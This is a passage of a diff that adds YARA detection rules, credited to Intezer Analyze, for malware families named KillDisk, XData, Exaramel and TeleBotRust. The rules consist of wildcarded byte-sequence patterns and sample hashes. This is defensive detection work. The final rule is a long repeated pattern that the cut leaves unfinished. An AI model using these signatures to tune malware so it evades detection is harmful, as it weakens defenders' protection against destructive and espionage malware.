+		$block_9 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "bef87ae1f54d63f88c59f38e1725735db723b729d0dbbda2411d5b9779649415" or
+		10 of them
+}
+
+rule KillDisk {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? 6A ?? 5? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 5? FF D? 83 ?? ?? ?? 5? 0F 95 ?? ?? ?? FF 1? ?? ?? ?? ?? 80 7? ?? ?? ?? 0F 84 }
+		$block_2 = { 5? FF 1? ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 84 ?? 75 }
+		$block_3 = { 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? 03 ?? 03 ?? 01 ?? ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_4 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 33 ?? 5? 5? 6A ?? 5? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? ?? 85 ?? 0F 95 ?? 5? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C3 }
+		$block_6 = { 8B ?? C1 ?? ?? 8B ?? F3 ?? 8B ?? 8B ?? ?? ?? 83 ?? ?? A9 ?? ?? ?? ?? F3 ?? 0F 85 }
+		$block_7 = { 68 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_9 = { 8B ?? C1 ?? ?? 8B ?? F3 ?? 8B ?? 83 ?? ?? F3 ?? FF 1? ?? ?? ?? ?? 3C ?? 0F 85 }
+		$block_10 = { 68 ?? ?? ?? ?? FF D? 8B ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 86 }
+		$block_11 = { 5? 5? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_12 = { 8B ?? ?? ?? 2B ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? ?? 83 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 3B ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_14 = { 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_15 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? C1 ?? ?? 8B ?? F3 ?? 8B ?? 83 ?? ?? F6 ?? ?? ?? ?? F3 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_19 = { 89 ?? ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_20 = { 6A ?? 6A ?? 6A ?? 32 ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_21 = { 6A ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_22 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 5? 5? 8B ?? ?? 85 ?? 5? 0F 84 }
+		$block_23 = { 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_24 = { 8B ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_25 = { 8B ?? C1 ?? ?? F3 ?? 8B ?? 83 ?? ?? 85 ?? F3 ?? 0F 84 }
+		$block_26 = { 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 0F 82 }
+		$block_27 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_28 = { 8B ?? ?? ?? 3B ?? 8B ?? ?? ?? C6 ?? ?? ?? ?? 0F 87 }
+		$block_29 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 84 ?? 0F 84 }
+		$block_30 = { 5? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_31 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_32 = { 0F B7 ?? 66 ?? ?? 83 ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_33 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 84 ?? 74 }
+		$block_34 = { 83 ?? ?? ?? ?? 83 ?? ?? ?? ?? 8B ?? ?? ?? 0F 85 }
+		$block_35 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "26173c9ec8fd1c4f9f18f89683b23267f6f9d116196ed15655e9cb453af2890e" or
+		hash.sha256(0, filesize) == "8246f709efa922a485e1ca32d8b0d10dc752618e8b3fce4d3dd58d10e4a6a16d" or
+		12 of them
+}
+
+rule XData {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 5? 8B ?? 5? 8B ?? ?? 5? 8B ?? 8B ?? ?? 5? 8B ?? ?? 3B ?? 0F 82 }
+		$block_1 = { 5? 5? 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? 32 ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_2 = { 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 85 ?? 5? 0F 94 ?? 5? 8B ?? 5? C3 }
+		$block_3 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 33 ?? ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_4 = { 48 ?? ?? 48 ?? ?? ?? 0F 10 ?? ?? 0F 11 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$block_5 = { BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 44 ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 74 }
+		$block_6 = { 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? 85 ?? 0F 84 }
+		$block_7 = { 48 ?? ?? ?? ?? 0F B6 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$block_8 = { 5? 8B ?? 5? 5? 5? 8B ?? 33 ?? 5? 33 ?? 33 ?? 0F B7 ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? 73 }
+		$block_9 = { 8D ?? ?? 89 ?? ?? 5? 6A ?? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? F7 ?? 5? 1B ?? 83 }
+		$block_10 = { 6A ?? FF 3? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? 89 ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? 0F 85 }
+		$block_11 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? 4? 89 ?? ?? 89 ?? ?? 89 ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 89 }
+		$block_12 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_13 = { 5? 8B ?? 5? 8B ?? ?? 5? 8B ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 0F 1F }
+		$block_14 = { 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 6A ?? 5? 4? 6A ?? 89 ?? ?? 5? 3B ?? ?? 0F 82 }
+		$block_15 = { 83 ?? ?? ?? 8D ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? 4? 89 ?? ?? 83 ?? ?? 0F 8C }
+		$block_16 = { A1 ?? ?? ?? ?? 8D ?? ?? 33 ?? ?? ?? ?? ?? 6A ?? 6A ?? 5? 6A ?? FF D? 83 ?? ?? 0F 84 }
+		$block_17 = { 8B ?? ?? 8D ?? ?? 5? 33 ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { A1 ?? ?? ?? ?? 8B ?? 33 ?? ?? ?? ?? ?? 5? FF D? 66 ?? ?? ?? 8D ?? ?? 8D ?? ?? 0F 84 }
+		$block_19 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 33 ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8A }
+		$block_20 = { 8B ?? ?? 33 ?? 2B ?? 99 C7 ?? ?? ?? ?? ?? ?? F7 ?? ?? 5? 89 ?? ?? B3 ?? 85 ?? 74 }
+		$block_21 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 33 ?? 5? 5? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 8A }
+		$block_22 = { 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 82 }
+		$block_23 = { 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_24 = { 48 ?? ?? ?? ?? 4D ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_25 = { A1 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 84 }
+		$block_26 = { 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_27 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 84 ?? 75 }
+		$block_28 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? 8B ?? 89 ?? ?? 5? 8B ?? 66 ?? ?? ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 8B ?? ?? 8B ?? 85 ?? 8D ?? ?? 0F 45 ?? 8B ?? ?? 8D ?? ?? 85 ?? 74 }
+		$block_30 = { 6A ?? 68 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_31 = { 81 E? ?? ?? ?? ?? 8B ?? 03 ?? 03 ?? 99 2B ?? ?? 83 ?? ?? 01 ?? 11 ?? ?? 8B }
+		$block_32 = { 0F B6 ?? 8D ?? ?? 33 ?? C1 ?? ?? 0F B6 ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_33 = { A1 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_34 = { 4? 8D ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 33 ?? 0F 1F }
+		$block_35 = { 48 ?? ?? ?? ?? 5? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? 49 ?? ?? ?? ?? 0F 82 }
+		$block_36 = { 8B ?? ?? 2B ?? 8B ?? ?? 3B ?? 89 ?? ?? 0F 47 ?? 8B ?? F7 ?? 3B ?? 76 }
+		$block_37 = { 5? 8D ?? ?? A5 A5 A5 A5 FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 33 ?? 8D }
+		$block_38 = { 8B ?? ?? 33 ?? 6A ?? 5? 89 ?? ?? 8B ?? ?? 2B ?? 99 F7 ?? 85 ?? 0F 84 }
+		$block_39 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_40 = { 8D ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_42 = { 6A ?? 5? 8D ?? ?? ?? ?? ?? F3 ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 5? 8B ?? 5? 8B ?? ?? 5? 8B ?? 8B ?? ?? 5? 8B ?? ?? 3B ?? 0F 82 }
+		$block_44 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_45 = { 4? 83 ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 82 }
+		$block_46 = { 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 2B ?? 0F 1F }
+		$block_47 = { 6A ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 0F 1F }
+		$block_48 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 3D ?? ?? ?? ?? 0F 83 }
+		$block_49 = { 8B ?? ?? 2B ?? 99 F7 ?? ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? 72 }
+		$block_50 = { 83 ?? ?? ?? 8D ?? ?? 8D ?? ?? 0F 43 ?? ?? 83 ?? ?? ?? 72 }
+		$block_51 = { A1 ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 5? FF D? 3B ?? ?? 0F 85 }
+		$block_52 = { 48 ?? ?? ?? ?? 5? 48 ?? ?? ?? 49 ?? ?? 4D ?? ?? 0F 84 }
+		$block_53 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 84 }
+		$block_54 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_55 = { 49 ?? ?? 48 ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? 0F 1F }
+		$block_56 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_57 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 84 ?? 0F 84 }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 ?? 8B }
+		$block_59 = { 8B ?? 41 ?? ?? 44 ?? ?? ?? 41 ?? ?? 3B ?? 0F 47 }
+		$block_60 = { 5? 5? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_61 = { 83 ?? ?? ?? 8D ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 }
+
+	condition:
+		hash.sha256(0, filesize) == "ff07c0b13d10db6f897526dd05041bf089b1b9b706833722480309b9b22e5040" or
+		hash.sha256(0, filesize) == "d174f0c6ded55eb315320750aaa3152fc241acbfaef662bf691ffd0080327ab9" or
+		hash.sha256(0, filesize) == "92ad1b7965d65bfef751cf6e4e8ad4837699165626e25131409d4134f031a497" or
+		12 of them
+}
+
+rule Exaramel {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 8B ?? ?? 33 ?? 5? 8B ?? ?? 33 ?? 03 ?? 5? 8B ?? 2B ?? 3B ?? 8B ?? ?? 0F 47 ?? 85 ?? 74 }
+		$block_1 = { 8B ?? 8D ?? ?? 0F 10 ?? ?? 5? 83 ?? ?? 8B ?? 8B ?? 5? 0F 11 ?? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 78 }
+		$block_2 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 6A ?? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 33 ?? 83 ?? ?? ?? 0F 94 ?? 89 ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 33 ?? 5? 8B ?? 5? C3 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_5 = { FF 7? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 8D ?? ?? 8D ?? ?? 83 ?? ?? 8D ?? ?? 83 ?? ?? 8D ?? ?? 89 ?? ?? 0F 1F }
+		$block_7 = { 8B ?? ?? 83 ?? ?? 0F 10 ?? ?? 8B ?? 8B ?? 5? 0F 11 ?? 8B ?? ?? ?? ?? ?? FF D? }
+		$block_8 = { FF 7? ?? FF D? 8B ?? 8B ?? 8B ?? ?? 33 ?? 8D ?? ?? 3B ?? 0F 47 ?? 85 ?? 74 }
+		$block_9 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 6A ?? 6A ?? 85 ?? 0F 84 }
+		$block_10 = { 5? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 44 }
+		$block_11 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_13 = { 5? 8B ?? 8B ?? ?? 33 ?? 8B ?? ?? 66 ?? ?? 0F B7 ?? 83 ?? ?? 75 }
+		$block_14 = { 8B ?? ?? 0F B7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_15 = { 83 ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? 0F B7 ?? 66 ?? ?? 0F 84 }
+		$block_16 = { 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? F6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_17 = { 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_18 = { 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "2f12fd3fb35f8690eea80dd48de98660c55df7f5c26b49d0cc82aaf3635b0c7a" or
+		12 of them
+}
+
+rule TeleBotRust {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? 